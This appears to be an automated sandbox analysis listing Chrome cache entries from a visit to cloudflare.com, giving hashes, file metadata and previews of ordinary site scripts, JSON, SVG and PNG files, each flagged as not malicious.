Preview:	{"data":{"gray":{"id":"67775c6d-87bd-5a24-a947-3518902c5081","altText":"Google Cloud Platform - GCP Gray Logo","title":"Google Cloud Platform - GCP Gray Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/4sfL2iS6H10uq2waT6ehym/ad18b77fa469ce07f23d22e19ab93d8d/button_bandwidth-calculator_google-cloud.svg"},"description":"Google Cloud Platform - GCP Gray Logo used as a button image on egress savings calculator"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"orange":{"id":"e7dd6567-30d1-5534-921f-aa6f0713df49","altText":"Google Cloud Platform - GCP Orange Logo","title":"Google Cloud Platform - GCP Orange Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/42XkFj9Uywkm8Jahf62RtP/0563d91cc1fa54da2bf2c50bad815fa9/button_bandwidth-calculator_orange-google-cloud.svg"},"description":"Google Cloud Pl

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	809
Entropy (8bit):	5.239909291414671
Encrypted:	false
SSDEEP:	24:Ygdq5J4YAG22AjDlATQAZ4YAGEnE5RAdE:YQqV2N/lfKXRQE
MD5:	580AEF5D9550B3035960D64BD30278C8
SHA1:	688A8C02A88FFBC6103475BDB9492ABFBA44DCE1
SHA-256:	5200B747E6D1178C200BB83BC2226601F0665E47C552B0E7255A114AABCC4704
SHA-512:	36C7E9E8C8FB9341D9F86B4DBA552F5016F57FAE4BB233B4C34640D74D344936A1D6F92E008EA77822294B342E70EF6BEDA9910E302CB86A9C801F5963C1AE08
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/sq/d/333361657.json
Preview:	{"data":{"wechat":{"id":"a10f4117-8ea6-503c-82b3-badce42d594f","altText":"WeChatPopup","title":"WeChatPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/mJZqOomHta2MLLB73P8Hs/9378861761815b3adf7bcb7734d6e2e3/WeChat_Popup.jpeg"},"description":"WeChatPopup"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"tiktok":{"id":"907dd9ff-5130-5f6d-98e7-c9a91ec4242b","altText":"TiktokPopup","title":"TiktokPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/6i8d186tH2iueYvgwVRaJf/ab27fd31033bdd31aea690654803d4ba/Tiktok_Popup.jpeg"},"description":"TiktokPopup"},"brandfolderAsset":null,"brandfolderAssetMobile":null}}}

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65448)
Category:	downloaded
Size (bytes):	141409
Entropy (8bit):	5.2689081924592935
Encrypted:	false
SSDEEP:	1536:vvRhq5eZ7j9fohDQde9yuYvBSyYnDQSTf3W5aUG+rdPAQ9l:vxE9oSfrf3W5Io9l
MD5:	5ECE435F1C64EEB216E3C40C34129DFF
SHA1:	12C84F3876589F43AC5DCFFAE6316420FD4750FC
SHA-256:	FC9585F08E201191E8269F67184DCB5A0DFF1354F6397C38E795E489ABBA4F4F
SHA-512:	215B97A411A051220A48C97A0C1A2A6CDFD73D8CF289C6900B09B5BD47633424FEE5F1AADC8B3E2AEDA384E3B1F31CF550A1C63ED8B84960420BBCF2EC25F329
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/framework-957a522640f43541ca6a.js
Preview:	/! For license information please see framework-957a522640f43541ca6a.js.LICENSE.txt /.(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[593],{2694:function(e,n,t){"use strict";var r=t(6925);function l(){}function a(){}a.resetWarningCache=l,e.exports=function(){function e(e,n,t,l,a,o){if(o!==r){var u=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw u.name="Invariant Violation",u}}function n(){return e}e.isRequired=e;var t={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:n,element:e,elementType:e,instanceOf:n,node:e,objectOf:n,oneOf:n,oneOfType:n,shape:n,exact:n,checkPropTypes:a,resetWarningCache:l};return t.PropTypes=t,t}},5556:function(e,n,t){e.exports=t(2694)()},6925:function(e){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},22551:fu

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1135
Entropy (8bit):	5.195218939009382
Encrypted:	false
SSDEEP:	24:YgGXhXo4YAGKooB80ar1qhqo4YAGADwB0arE:YcKoaarUcarE
MD5:	EBEEA0414FED32193900E84E33F2BE1B
SHA1:	8EFBADFF74F2B75D7BC755254E2369B27DBE8F32
SHA-256:	911BA3DE8DCDA879031896EFB4FF7EAF448FF44FC448F6AFB1281B606BD5B323
SHA-512:	16F367EA2F09F67390F1083398F7D3B4AA5369259EC25819A0A93DDAA33334563B939315503B429996662E402CBBB6AA8A376DD7F4BC595D96938A2AACBB72FB
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/sq/d/3934964512.json
Preview:	{"data":{"gray":{"id":"67775c6d-87bd-5a24-a947-3518902c5081","altText":"Google Cloud Platform - GCP Gray Logo","title":"Google Cloud Platform - GCP Gray Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/4sfL2iS6H10uq2waT6ehym/ad18b77fa469ce07f23d22e19ab93d8d/button_bandwidth-calculator_google-cloud.svg"},"description":"Google Cloud Platform - GCP Gray Logo used as a button image on egress savings calculator"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"orange":{"id":"e7dd6567-30d1-5534-921f-aa6f0713df49","altText":"Google Cloud Platform - GCP Orange Logo","title":"Google Cloud Platform - GCP Orange Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/42XkFj9Uywkm8Jahf62RtP/0563d91cc1fa54da2bf2c50bad815fa9/button_bandwidth-calculator_orange-google-cloud.svg"},"description":"Google Cloud Pl

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19948), with no line terminators
Category:	downloaded
Size (bytes):	19948
Entropy (8bit):	5.261902742187293
Encrypted:	false
SSDEEP:	384:XriNpnjyMkg8XMtExRN1w29JIOzahXtO2nJ65:GijgSWuanfJ65
MD5:	EC18AF6D41F6F278B6AED3BDABFFA7BC
SHA1:	62C9E2CAB76B888829F3C5335E91C320B22329AE
SHA-256:	8A18D13015336BC184819A5A768447462202EF3105EC511BF42ED8304A7ED94F
SHA-512:	669B0E9A545057ACBDD3B4C8D1D2811EAF4C776F679DA1083E591FF38AE7684467ABACEF5AF3D4AABD9FB7C335692DBCA0DEF63DDAC2CD28D8E14E95680C3511
Malicious:	false
Reputation:	low
URL:	https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015
Preview:	!function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]]].join("")}},944:function(e){"use strict";var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)\|\|"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var n=new Uint8Array(16);e.exports=function(){return t(n),n}}else{var r=new Array(16);e.exports=function(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),r[t]=e>>>((3&t)<<3)&255;return r}}},508:function(e,t,n){"use strict";var r=n(944),i=n(343);e.exports=function(e,t,n){var o=t&&n\|\|0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var a=(e=e\|\|{}).random\|\|(e.rng\|\|r)();if(

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (521)
Category:	downloaded
Size (bytes):	1251
Entropy (8bit):	5.427840135792541
Encrypted:	false
SSDEEP:	24:md7pIgWcbMd+4nMOOeQSfmFtHXRWYxRWZgRK+uKF69FxPg6F/ysbVFyIF/IFKe+b:a7phWziUZcVwYxwTlLxg6FKWrSuCMrlV
MD5:	2C1369DBC49A24864E5B1FF89BBABDDC
SHA1:	DF591D4352DB1676C7ACAE4F32A597B4FCA6B3CF
SHA-256:	A03CD99F7DFEEAB6B2F6091E174787AE426073A157BF436428C08E9B8D1551C6
SHA-512:	CB3C32D42BD59487E6E45A510D9BD34AE761C42F33EBFC2AD8427F7D40B53A2A3ECB1E59B03D179E7D914FCFE4B07D7687438D0D3C645E4EA3913F1C0E6F8920
Malicious:	false
Reputation:	low
URL:	https://munchkin.marketo.net/munchkin-beta.js
Preview:	/. Copyright (c) 2007-2023, Marketo, Inc. All rights reserved.. * See https://developers.marketo.com/MunchkinLicense.pdf for license terms. * Marketo marketing automation web activity tracking script. * Version: beta r940. */. (function(b){if(!b.Munchkin){var c=b.document,e=[],k,l={fallback:"164"},g=[],m=function(){if(!k){for(;0<e.length;){var f=e.shift();b.MunchkinTracker[f[0]].apply(b.MunchkinTracker,f[1])}k=!0}},n=function(f){var a=c.createElement("script"),b=c.getElementsByTagName("base")[0]\|\|c.getElementsByTagName("script")[0];a.type="text/javascript";a.async=!0;a.src=f;a.onreadystatechange=function(){"complete"!==this.readyState&&"loaded"!==this.readyState\|\|m()};a.onload=m;b.parentNode.insertBefore(a,b)},h={CLICK_LINK:"CLICK_LINK",.VISIT_WEB_PAGE:"visitWebPage",init:function(b){var a;a=l[b];if(!a&&0<g.length){a=b;var c=0,d;if(0!==a.length)for(d=0;d<a.length;d+=1)c+=a.charCodeAt(d);a=g[c%g.length]}a\|\|(a=l.fallback);e.push(["init",arguments]);"150"===a?n("//munchkin-cdn.marketo.

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65432)
Category:	dropped
Size (bytes):	1063180
Entropy (8bit):	5.528832830914802
Encrypted:	false
SSDEEP:	24576:7xxaMIY1EaBOmMwprOTMUOGglZbfuWfHifAFFqRlnJgJWb4/NukPfg+7Etyof:7VIY1EaBOmdHifAFFqRln4/NukPfg+If
MD5:	9B28FA6A7395A35D35019804A78BB0B9
SHA1:	C1BCF0DE01A2F76FAB4CACB8EC07DB1989510C37
SHA-256:	7E61944488F11E351895799A392DC49F40C863D0394A7F5BECD33C6EAC0F0293
SHA-512:	FF216C6BCAF12828789BA91BA608FE0530EAEDC52998C3F840FB01299F353BF4E52B927DB236DB741A7F2F89381BA2B8227DF417D61E80D8C2332F7DE8EA3086
Malicious:	false
Reputation:	low
Preview:	(function() {. /! For license information please see qualified-a44c04d86689336bc2ef.js.LICENSE.txt /.var init=function(e){var t={};function n(i){if(t[i])return t[i].exports;var a=t[i]={i:i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n),a.l=!0,a.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)n.d(i,a,function(t){return e[t]}.bind(null,a));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnPrope

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2485
Entropy (8bit):	7.876592005079966
Encrypted:	false
SSDEEP:	48:v/xwXiYbH0Y39tgMknRXn+wq4C/l8ppeOsiPZzY4Jz4hMgzSJun4NNNNNNN5:HcVIY39tgMkRX+wq4mifNvPpYSqnK
MD5:	112AD5F84433E5F46D607F73FB64BD60
SHA1:	A8BF11F3F6099CA49D1CBF73C050EB7E6FBC68B4
SHA-256:	0F84307AD691800E391FCCB42B4BA290A87FEBF001ABEDFBE03B34767D45E441
SHA-512:	A0FDDEC2CECC71AA2FE16EB01AA541051A5FD1B9F0FEAB18413007186826E81C2E582EC7F48F7242FA4142E7BB0105B29D1F11F1062F96D255F743050C97B65C
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/favicon.ico
Preview:	.PNG........IHDR...`...`......w8....pHYs..........+.....gIDATx^...TU..._..\|_..!.....R....(S...@....A.Si.Y~....#.3E.4.9EJ..h..5....4#D...{o...{.....GO.........y......{....B.x.... ..... ..... ..... ..... ..... ..... ..... ..... ....%.t.&.....P.M...E.vB.G......,..e..3.-....;.Z.uD.....Df;?,t.....K.Q...G..?J...../.R..I.S......T..O$.`=o...#.#...r.[..cG.o{>..t.`...z..A.h..<._]..`k.j....o.n..G.5Y...Q#.e..yx!..c..IM....tz.3.K..O....Z7.E..A.:..K..mY#...J...".."ZS.H..v.b.....%.".....U....".\|.K.....'.v.........y....+cZ.4U..H...Na..w.3.J....\.....J..._.....?.LW.ZI.........l[8....{.r..].....g..N..o..Y....s.. d.O...b.N..fx.s.............a....8........,.R..U.\...S5M.D.....k....x.....K....l..J./.M.v....[h...y......u......{'t..i]+.)yX..`...w.q...+.]Z?."_.S.+EY..\>ct@3.....$N.F."+.z.x..v....~...~w%..}..W_s.X=...x....Y...AR..8R._.V.)qp.:...~-.-6.\|_.3..x..U.h....S^}.\9#S.K....\|.J...:..\|.R..y.!.+..o.~.......F......M.._ ......w...%. ...g.u72.....(.4..9.

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11964), with no line terminators
Category:	dropped
Size (bytes):	11965
Entropy (8bit):	5.346433149868613
Encrypted:	false
SSDEEP:	192:GnUaLMP73g1eKfmwhxoUesnDwVbTeYe+bvoaoQzZSwol/+/3jVzCGd0xgycsjI44:GnUaLMP73g1KwUsDdV+bvoNQzZSwol/y
MD5:	EF020293FB7D5C8F7CF81AD2F2793BEF
SHA1:	08543F8A7C6C81B74C07B82A340D0084C82D3D09
SHA-256:	B1BEFE5B761C5F8A31F350CD03FC3B8F8FA982B4C7EA9909FF968CDF1F1AE14A
SHA-512:	F95F4654AED99A6F41AC2F5408FE49FC77E4CC50EF2857983BF6A2F48F89634CA4910F857D0F5AB78618E1DCA557547969DA2D3FD439868E47AEBB20A4F3E1DA
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[253],{86168:function(e,t,n){n.d(t,{Au:function(){return o},cS:function(){return l}});const o=n(96540).createContext({}),l=({children:e})=>e,{Consumer:r}=o},8216:function(e,t,n){n.d(t,{B:function(){return c},k:function(){return i}});var o=n(96540),l=n(54232),r=n(1204);const a=(0,l.FR)()?"https://www.cloudflare-cn.com":"https://www.cloudflare.com";function i(e,t,n=a){const o=(0,l.l1)(t);return"en-us"===e.toLocaleLowerCase()\|\|e.toLocaleLowerCase()===l.q.toLowerCase()?(0,r.CN)(n,o,"/"):(0,r.CN)(n,e.toLowerCase(),o,"/")}const c=(e,t,n=a,r=l.IB)=>[...r.filter((e=>Boolean(e)&&!a.includes("cloudflare-cn.com")&&"zh-hans-cn"!==e.toLowerCase())).map((e=>o.createElement("link",{key:e,rel:"alternate",hrefLang:e.toLocaleLowerCase(),href:i(e,t,n)}))),"/home"===t?o.createElement("link",{key:t,rel:"canonical",href:a}):o.createElement("link",{key:t,rel:"canonical",href:i(e,t,n)})]},61461:fun

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1297), with no line terminators
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.293514597585324
Encrypted:	false
SSDEEP:	24:iawafFNHlvOqQNcFsKYH3abTZgRMGo2imqP8f/zI9Zw9nByoZ9O0hjMHCoBxSYUB:ia1t1lvOqfspHMGr2PM/ztpByMvQH3xK
MD5:	FD57973B0E796D44C65475C8B11E61E1
SHA1:	78778E464F939F444F27B62664ACF30217D388FC
SHA-256:	8F09F94AF47E0BFF5D431A3C579218B177CCE277BEB0C99A6B2AC7069A660D58
SHA-512:	6A3BAA3C69D32AC3A18A1E2CBC3E1A4463999382771329302D868AD0DBC1252F9EEF4FBC150CA90838E394E43FB5B49F50AFFBBAEC5CA51CE7FCD9555F7B7A4D
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[174],{31682:function(e,t,n){var o=n(96540);const r=()=>"undefined"!=typeof window?new URLSearchParams(window.location.search):new URLSearchParams;t.A=(e,t)=>{const n=(e=>r().get(e))(e),[a,i]=(0,o.useState)(null===n?t:n);return[a,t=>{i(t);const n=r();if(""!==t.trim()&&"All"!==t?n.set(e,t):n.delete(e),"undefined"!=typeof window){const{protocol:e,pathname:t,host:o}=window.location,r=`${e}//${o}${t}${n.toString()?`?${n.toString()}`:""}`;window.history.replaceState({},"",r)}}]}},3610:function(e,t,n){var o=n(31682);t.A=()=>{const[e]=(0,o.A)("disablePreview",null);return""===e\|\|"true"===e}},63174:function(e,t,n){n.r(t),n.d(t,{default:function(){return l}});var o=n(96540),r=n(89970);var a=n(3610),i=n(9307);var l=()=>{const e="staging"===(0,r._)().targetEnv,t=(0,a.A)();return o.createElement(i.wn,{padding:1,backgroundColor:"blue0",color:"white",id:"preview-mode-banner",display:e?"bl

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	874742
Entropy (8bit):	5.3616251778393345
Encrypted:	false
SSDEEP:	24576:ZKPoCfCKY8Pb8Sz2F5ASoZCqnlL1fGVTxtt7vpe1xaMyWase7ExIhXEgKbZVb1IQ:ZKPoCqK1b8Sz2F5ASoZCqnlRfGVTxtt4
MD5:	E04C06605A0541C833D9EEB266A6B86C
SHA1:	9A7353848526D0872FC68225C30237244D22E160
SHA-256:	E207C4D7E7931C7EEB8016248B8E2E48ACFEB3A179CE737E3994E01243857E9B
SHA-512:	4CDCC5CDF5976B0CB9B2572A1179B552709385371900377C557562C3B3E9A8234227C42A545A785105B4478E93FE0567185503DE72D9B250DE8933A61D83EFC1
Malicious:	false
Reputation:	low
Preview:	!function(){var e={2706:function(e,t,r){"use strict";var n=r(4836);Object.defineProperty(t,"__esModule",{value:!0}),t.encode=function(e){return JSON.stringify(p(e))},t.encodeAsTable=function(e){return p(e)},t.decode=function(e){return function(e){if("number"==typeof e&&e<0)return n(e);var t=new Array(e.length);function r(e){return e in t?t[e]:t[e]=n(e)}function n(t){if(t<0){if(t===i)return;if(t===a)return;if(t===s)return NaN;if(t===u)return 1/0;if(t===c)return-1/0;throw new Error("invalid ARSON index: "+t)}var n=e[t];if(n&&"object"===(0,o.default)(n)){if(Array.isArray(n)){var p=n[0];if("string"==typeof p&&p in l){var h=l[p].reconstruct,g=h();return g&&f.push({reconstruct:h,empty:g,argIndexes:n.slice(1)}),e[t]=g\|\|h(n.slice(1).map(r))}}d.push(n)}return n}var f=[],d=[];return e.forEach((function(e,t){r(t)})),f.forEach((function(e){e.args=e.argIndexes.map(r)})),d.forEach((function(t){Object.keys(t).forEach((function(n){var o=t[n];if("number"==typeof o)if(o<0){if(o===a)return void delete t[

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (59934)
Category:	dropped
Size (bytes):	1461602
Entropy (8bit):	5.8399302681085725
Encrypted:	false
SSDEEP:	24576:J3LS93wCHB5h44obzuhzLMTQ1Qk3Z7ERK+SCNuWhhd+xlktyjH60I9FQRzH8Ly8:VS93wCHD243hzLMTQ1Qk3eRK+JNuWhhr
MD5:	84C1ED234E9F22A693B4F155358F010C
SHA1:	B194550A14F635AF3765065B27B5D140165020E2
SHA-256:	BDD4A987712AE9BAAA3015B3FCB0CAAF15F958CF2B62ECC2AC205E31A7F6C83A
SHA-512:	147AD55CC49943003BEEDC1F9AAB4C1C0E85DA31C91F3701F198DEDED4FCA96A90EE5130EBF34F3354FA23A422AFEC6CC7D16B0793F07539714FF4B5F281E2D5
Malicious:	false
Reputation:	low
Preview:	/! For license information please see app-5dd3a89e612d1162418a.js.LICENSE.txt /.(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[524],{38157:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(96540),o="https://embed.cloudflarestream.com/embed/sdk.latest.js",a=function(){if("undefined"!=typeof window)return window.Stream};function i(e,t,n){(0,r.useEffect)((function(){t.current&&(t.current[e]=n)}),[e,n,t])}function s(e,t,n){void 0===n&&(n=l),(0,r.useEffect)((function(){if(t.current){var r=t.current;return r.addEventListener(e,n),function(){return r.removeEventListener(e,n)}}}),[n,e,t])}var l=function(){},c=function(e){return function(){var e=(0,r.useState)(a),t=e[0],n=e[1];return(0,r.useEffect)((function(){if(!t){var e=document.querySelector("script[src='"+o+"']"),r=null!=e?e:document.createElement("script");r.addEventListener("load",(function(){n(a)})),e\|\|(r.src=o,document.head.appendChild(r))}}),[t]),t}()?r.createE

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1369
Entropy (8bit):	4.580187745635918
Encrypted:	false
SSDEEP:	24:tCb8EAuv2BE816xpYfjZWcGAtz/O3WTVoQSliwPiOv0OaRtiCpKi/iAmc+AixniN:/1BECNUYMaV1LFzmca2iaH
MD5:	3AC85BA92BF284381A6C1B0EC402A12B
SHA1:	6B6ECF4FB19CF320DF6044A2C9A8B2020178FF28
SHA-256:	109F16A232291E95A8D389EDF4F6920EF16D3760D9C2D458F7E851F9DD2E756F
SHA-512:	648C18296981239E5E244643FBBC4E471B698B97CE901E672BDC2E710074AA5BD5A6EBAF029135D1EE4EBC4FB137E4D5F0B111892A6D0E1D1777F1D412DC1133
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24.6675 44.8425H23.3325L22.7925 44.5725C22.2 44.2725 8.15247 37.0725 8.15247 22.4325V11.8275L9.44247 10.3275L10.5 10.2C14.8346 9.55012 18.856 7.55647 21.9975 4.5L22.8825 3.51H25.1325L26.01 4.5C29.1565 7.56627 33.1907 9.56104 37.5375 10.2L38.5575 10.3425L39.8475 11.8425V22.4325C39.8475 37.0875 25.8 44.25 25.2075 44.5725L24.6675 44.8425ZM11.1675 13.125V22.4325C11.1675 34.6875 22.5525 41.055 24.015 41.82C25.515 41.07 36.8625 34.6875 36.8625 22.4325V13.125C32.025 12.3621 27.5366 10.1375 24 6.75C20.4674 10.1348 15.9846 12.3592 11.1525 13.125H11.1675Z" fill="#FF6633"/>.<path d="M25.5 14.265H22.5V20.88H25.5V14.265Z" fill="#FF6633"/>.<path d="M29.8192 16.0555L25.1417 20.733L27.263 22.8543L31.9405 18.1768L29.8192 16.0555Z" fill="#FF6633"/>.<path d="M33.735 22.5H27.12V25.5H33.735V22.5Z" fill="#FF6633"/>.<path d="M27.2706 25.1381L25.1493 27.2594L29.8268 31.9369L31.9481 29.8156L27.2706 25.1381

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12331)
Category:	dropped
Size (bytes):	12332
Entropy (8bit):	5.0916439525688215
Encrypted:	false
SSDEEP:	192:3dArCS2Z+j/yQ9TCQxUhW2DPY808LE676SbHDc/7uN0VZG05w:NHSG+j/y2xa3bn7Q+0a0O
MD5:	88A769D2FE35899FD45A332A0A032CC0
SHA1:	514C6C1D8475D17E412849A4C90159517D0FA10A
SHA-256:	CCF00D1923B0131A10E0C6D26F95E5DEE6EBF8621A27E83C5A2F68A2E0093142
SHA-512:	756CC5CD029FC4ADC9100D0DA2F2B0EFB3DF0F2BF894FBA2824019832FEA594EDD40A238A5FFACC205572CC0155F5632D70F54E37EDC0772460F44C69CB76AB8
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}function n(t,e){var n=e.parentNode;n&&h(t,n,e)}function r(t,e){h(t,e,e.childNodes[0])}function o(t){var e=t.parentNode;e&&e.removeChild(t)}function i(t){var e=t.namespaceURI===A?"xlink:href":"src";return t.getAttribute(e)}function a(t,e){var n=t.type.substr(e.length);return!(n&&!E[n.trim()])&&((!k\|\|!t.hasAttribute("nomodule"))&&!(!k&&"module"===n))}function c(t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"),e.textContent=t.textContent;for(var n=0;n<t.attributes.length;n++){var r=t.attributes[n];try{r.namespaceURI?e.setAttributeNS(r.namespace

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21229)
Category:	downloaded
Size (bytes):	21230
Entropy (8bit):	5.307634512229094
Encrypted:	false
SSDEEP:	384:TRFZ2wWtdbD5ABwXwLrekrff8eTr+x5RxMc1n9LuJ4vV/:T8wAD5ABwXw+krfflyxzx9n9D/
MD5:	CB08DE8CD375C576ED0391912EFFD122
SHA1:	921977C317F1A06373F63A26A35DDA99F1AF9838
SHA-256:	1505AA0792421F831935F4761A95F31462A3DD097C8BD00AD8E9C765C8065517
SHA-512:	63191331A5C4F5A6C9BC13EE9B9EB4B50DFDAE38235974EE2183903C8167A8303088B3631708F09F7C5AEA15BD202254FD799BBDC0965CE5AD3F088915C66B54
Malicious:	false
Reputation:	low
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/scripttemplates/otSDKStub.js
Preview:	var OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(m=g=g\|\|{})[m.Days=1]="Days",m[m.Weeks=7]="Weeks",m[m.Months=30]="Months",m[m.Years=365]="Years",(m=i=i\|\|{}).Name="OTGPPConsent",m[m.ChunkSize=4e3]="ChunkSize

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	129418
Entropy (8bit):	5.955981378724436
Encrypted:	false
SSDEEP:	3072:pk1myvXD9d2AMJHfRWVaXkIcfVgKkiMJN+qwjWCAIucJ:C1XD/2aEkIctgKk5gqwjWnc
MD5:	30FB390F2A40966D0B5FAB98BB94864D
SHA1:	BE6DBF5FF51A541E72E1D138C5448D8B01FE6032
SHA-256:	8504B26F353B9B16990A8A42603211806DAE5E475359FA449D6C792853A621CD
SHA-512:	91DA5F3F6F0A18B0D93A1C496028B42B1592CA674F95569DD275E1E688B9608B5F24B065F525CE7797A6F85B9667B8458F7E785FCEFDED9ACA754614FA27AF7F
Malicious:	false
Reputation:	low
